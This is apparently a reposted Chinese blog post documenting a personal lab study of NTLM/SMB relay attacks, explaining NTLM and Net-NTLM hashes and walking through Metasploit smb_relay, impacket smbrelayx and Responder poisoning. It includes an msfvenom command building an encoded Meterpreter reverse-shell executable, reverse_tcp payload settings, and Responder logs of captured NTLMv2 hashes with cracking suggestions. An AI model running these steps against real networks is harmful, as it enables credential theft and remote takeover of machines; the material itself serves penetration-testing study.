smb中繼學習


前言

有幾個工具可以濫用 NTLM 身份驗證。 其中之一就是 smbrelayx,它是 Core Security 的 impacket 庫的一部分。 NTLMrelayx 是由我們團隊開發的 smbrelayx 工具的擴展和部分重寫。 它具有廣泛的協議中繼功能。 該工具接受多個目標,循環遍歷每個目標以找到需要驗證的系統。 該工具提供了一個 SMB 和 HTTP 服務器,它可以從這些服務器中繼 NTLM 身份驗證到 SMB、 HTTP、 IMAP、 LDAP 和 MSSQL。
NTLM hash 和 Net-NTLM hash

NTLM(V1/V2)的hash是存放在安全賬戶管理(SAM)數據庫以及域控的NTDS.dit數據庫中,獲取該Hash值可以直接進行Pass the Hash攻擊
Net-NTLM(V1/V2)的hash值是基於用戶密碼的NTLM hash計算出來的,用於網絡中的認證,步驟如下:
客戶端向服務器發送一個請求,請求中包含明文的登錄用戶名。服務器會提前保存登錄用戶名和對應的密碼 hash
服務器接收到請求后,生成一個 16 位的隨機數 (被稱為 Challenge也就是挑戰碼), 明文返回客戶端。使用存儲的登錄用戶密碼 hash 加密 Challenge,獲得 Challenge1
客戶端接收到 Challenge 后,使用登錄用戶的密碼 hash 對 Challenge 加密,獲得 Challenge2(這個結果被稱為 response),將 response 發送給服務器
服務器接收客戶端加密后的 response,比較 Challenge1 和 response,如果相同,驗證成功
在 NTLM 認證中,NTLM 響應分為 NTLM v1,NTLMv2,NTLM session v2 三種協議,不同協議使用不同格式的 Challenge 和加密算法,所以也就存在不同協議的 Net-NTLM hash,即 Net-NTLM v1 hash,Net-NTLM v2 hash。

NTLM和SMB的關系
SMB的認證可以基於NTLM協議或者kerberos協議,前者使用了hash,后者使用了ticket,是構成SMB的PtH和PtT攻擊的基礎。
NTLM 並沒有定義它所依賴的傳輸層協議。NTLM 消息的傳輸完全依賴於使用 NTLM 的上層協議來決定,可以是SMB,也可以是TCP,亦或HTTP。
在我們深入了解之前,我們先弄清楚下面幾個概念。

NTLM、NTMLv1/v2、Net-NTMLv1/v2

這是大部分人混淆的開始點,實際上這不是他們的錯,因為幾乎所有的文章都在介紹關於NTLMv1/v2的攻擊。所以當人們看到Net-NTLMv1/v2時,都會想知道這兩者到底是什么關系,到底一樣不一樣。

長話短說:NTLMv1/v2和Net-NTLMv1/v2是相同的。但是,NTLM和Net-NTLM它們的hash類型則是截然不同。NTLM的hash存放在安全賬戶管理(SAM)數據庫以及域控的NTDS.dit數據庫中。它的格式如下:

aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42
可能和你想得不同,LM的hash值是位於引號之前,NT的hash值是位於引號之后。從Windows VIsta和WIndows2008開始,系統默認值存放NT的hash值。Net—NTLM的hash是用於網絡認證(他們的基於用戶NT的hash值通過響應的算法產生的)。Net-NTLMv2的格式如下:

admin::N46iSNekpT:08ca45b7d7ea58ee:88dcbe4446168966a153a0064958dac6:5c7830315c7830310000000000000b45c67103d07d7b95acd12ffa11230e0000000052920b85f78d013c31cdb3b92f5d765c783030
滲透測試過程中,你可以通過Pass the hash(PTH)攻擊得到NTLM的hash值,不過你不可以通過這種方法得到Net-NTLM的hash值。你可以在任何windows操作系統下拖下SAM數據庫,或者域控制器的NTDS數據庫進而得到NTLM的hash。你也可以通過mimikatz從內存中讀取到明文密碼,雖然在windows

8.1以上版本你不能得到明文密碼,但是你還是可以從內存中得到NTLMhash值的。一些工具可以盜取NThash值,這就意味着我們可以進行PTH攻擊。

你可以使用像Responder或者Inveigh這些工具獲得Net-NTLMv1/v2的hash。這篇文章就會介紹在普通滲透測試環境中,你得到Net-NTLM的hash之后你能干些什么。

 

實驗環境

win10 192.168.1.102
win7 192.168.1.101
kali 192.168.1.104

metasploit中的smb_relay 其實質是ms08068

sf5 exploit(windows/smb/smb_relay) > show options 

Module options (exploit/windows/smb/smb_relay):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SHARE    ADMIN$           yes       The share to connect to
   SMBHOST                   no        The target SMB server (leave empty for originating system)
   SRVHOST  0.0.0.0          yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
   SRVPORT  445              yes       The local port to listen on.


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.1.104    yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic

然后在我們的被攻擊服務器win7執行一個訪問共享命令 dir \\192.168.1.104\c$

 

 這里可以看見獲取了NTMLV2hash 可以用hashcat試試爆破(我看見別人是直接通過認證獲取到了session但是我無法實現,如果有實現成功請教教我)

Impacket中的smbrelayx

先生成一個msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.138.136 LPORT=4444 -e x64/shikata_ga_nai -f exe -o ~\test.exe

 

 然后開啟smbrelayx 會在你到本地搭建一個401認證http服務和smb服務都錄竊取hash

 

 但是我在win10中遇到了不安全的smb1.0協議

 

 http還是正常的認證

 

 這里應該和msf一樣用的是ntmlV2HASH

測試結果

win7可以上線 win10不行

Responder

root@kali:~/Responder/tools# responder -I eth0 -wvrf
                                         __
  .----.-----.-----.-----.-----.-----.--|  |.-----.----.
  |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|
  |__| |_____|_____|   __|_____|__|__|_____||_____|__|
                   |__|

           NBT-NS, LLMNR & MDNS Responder 2.3.3.9

  Author: Laurent Gaffie (laurent.gaffie@gmail.com)
  To kill this script hit CRTL-C


[+] Poisoners:
    LLMNR                      [ON]
    NBT-NS                     [ON]
    DNS/MDNS                   [ON]

[+] Servers:
    HTTP server                [ON]
    HTTPS server               [ON]
    WPAD proxy                 [ON]
    Auth proxy                 [OFF]
    SMB server                 [ON]
    Kerberos server            [ON]
    SQL server                 [ON]
    FTP server                 [ON]
    IMAP server                [ON]
    POP3 server                [ON]
    SMTP server                [ON]
    DNS server                 [ON]
    LDAP server                [ON]

[+] HTTP Options:
    Always serving EXE         [OFF]
    Serving EXE                [OFF]
    Serving HTML               [OFF]
    Upstream Proxy             [OFF]

[+] Poisoning Options:
    Analyze Mode               [OFF]
    Force WPAD auth            [OFF]
    Force Basic Auth           [OFF]
    Force LM downgrade         [OFF]
    Fingerprint hosts          [ON]

[+] Generic Options:
    Responder NIC              [eth0]
    Responder IP               [192.168.1.104]
    Challenge set              [random]
    Don't Respond To Names     ['ISATAP']



[+] Listening for events...
[SMBv2] NTLMv2-SSP Client   : 192.168.1.102
[SMBv2] NTLMv2-SSP Username : DESKTOP-OLORVEQ\localhost
[SMBv2] NTLMv2-SSP Hash     : localhost::DESKTOP-OLORVEQ:2df7ec2eb307243a:3AB1C32A8BA3E0F76501FBE2987B1F3B:0101000000000000C0653150DE09D201035420D463D1B30E000000000200080053004D004200330001001E00570049004E002D00500052004800340039003200520051004100460056000400140053004D00420033002E006C006F00630061006C0003003400570049004E002D00500052004800340039003200520051004100460056002E0053004D00420033002E006C006F00630061006C000500140053004D00420033002E006C006F00630061006C0007000800C0653150DE09D201060004000200000008003000300000000000000001000000002000002ABA9B5FF29A81FD3F68B40D0B41857433A30062A75F309D0CCCC9653DEC6E1C0A001000000000000000000000000000000000000900240063006900660073002F003100390032002E003100360038002E0031002E003100300034000000000000000000
[SMBv2] NTLMv2-SSP Client   : 192.168.1.102
[SMBv2] NTLMv2-SSP Username : DESKTOP-OLORVEQ\localhost
[SMBv2] NTLMv2-SSP Hash     : localhost::DESKTOP-OLORVEQ:1abee0e1d0bba3ae:D1653159D650CF06A606B52246347F2B:0101000000000000C0653150DE09D201ACE94392EAE548BA000000000200080053004D004200330001001E00570049004E002D00500052004800340039003200520051004100460056000400140053004D00420033002E006C006F00630061006C0003003400570049004E002D00500052004800340039003200520051004100460056002E0053004D00420033002E006C006F00630061006C000500140053004D00420033002E006C006F00630061006C0007000800C0653150DE09D201060004000200000008003000300000000000000001000000002000002ABA9B5FF29A81FD3F68B40D0B41857433A30062A75F309D0CCCC9653DEC6E1C0A001000000000000000000000000000000000000900240063006900660073002F003100390032002E003100360038002E0031002E003100300034000000000000000000
[SMBv2] NTLMv2-SSP Client   : 192.168.1.101
[SMBv2] NTLMv2-SSP Username : WIN-7SNUC05VIJD\Administrator
[SMBv2] NTLMv2-SSP Hash     : Administrator::WIN-7SNUC05VIJD:c0ae713cb7247343:D058E3784CB313CF07087B70FA547B58:0101000000000000C0653150DE09D2018C36640CC99378B2000000000200080053004D004200330001001E00570049004E002D00500052004800340039003200520051004100460056000400140053004D00420033002E006C006F00630061006C0003003400570049004E002D00500052004800340039003200520051004100460056002E0053004D00420033002E006C006F00630061006C000500140053004D00420033002E006C006F00630061006C0007000800C0653150DE09D2010600040002000000080030003000000000000000000000000030000023FB7E42CFAE1E1E26318DA320137DDE9CE4C3B9EEFF7CEB3CEFB5BED3B4C2AE0A001000000000000000000000000000000000000900240063006900660073002F003100390032002E003100360038002E0031002E00310030003400000000000000000000000000
[SMBv2] NTLMv2-SSP Client   : 192.168.1.101
[SMBv2] NTLMv2-SSP Username : WIN-7SNUC05VIJD\Administrator
[SMBv2] NTLMv2-SSP Hash     : Administrator::WIN-7SNUC05VIJD:0992a55a7a4398b6:CACD077AF62A8983D0917554755143FA:0101000000000000C0653150DE09D201FF08279C23AE502A000000000200080053004D004200330001001E00570049004E002D00500052004800340039003200520051004100460056000400140053004D00420033002E006C006F00630061006C0003003400570049004E002D00500052004800340039003200520051004100460056002E0053004D00420033002E006C006F00630061006C000500140053004D00420033002E006C006F00630061006C0007000800C0653150DE09D2010600040002000000080030003000000000000000000000000030000023FB7E42CFAE1E1E26318DA320137DDE9CE4C3B9EEFF7CEB3CEFB5BED3B4C2AE0A001000000000000000000000000000000000000900240063006900660073002F003100390032002E003100360038002E0031002E00310030003400000000000000000000000000

 一般在滲透測試中 還是得配合nethash中繼才有用 當然你也可以選擇去john 破解他

當然你得先更改rs conf 80 445 OFF

這里我們配合rs里面的Murp

 

 

 

 

 

切記 少就是多 慢就是快

Refer

https://cqureacademy.com/blog/penetration-testing/smb-relay-attack
https://tools.kali.org/sniffingspoofing/responder
https://mp.weixin.qq.com/s?__biz=MzAwMzYxNzc1OA==&mid=2247486180&idx=1&sn=b7c7c2b4534718fd7451e89a78a9b94c&chksm=9b392c55ac4ea5430e2d02529ac12ec0fdb6eb721c58e790e2d2b5f34c2c7d24ef8fe84d2cfe&mpshare=1&scene=23&srcid=0813utFhTzbO4nd7kL9bXqcu&sharer_sharetime=1597318714694&sharer_shareid=e276e863984dfd8ab735af2c385ee935#rd
360 A-TEAM 帶你走進 NTLM-Relay
http://4hou.win/wordpress/?p=3578
https://www.ivoidwarranties.tech/posts/pentesting-tuts/responder/multirelay-2.0/
http://www.ethicalpentest.com/2018/05/llmnr-and-nbt-ns-poisoning-attack-using-responder-multirelay.html
http://www.ethicalpentest.com/2018/05/llmnr-and-nbt-ns-poisoning-attack-using-responder-multirelay.html

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM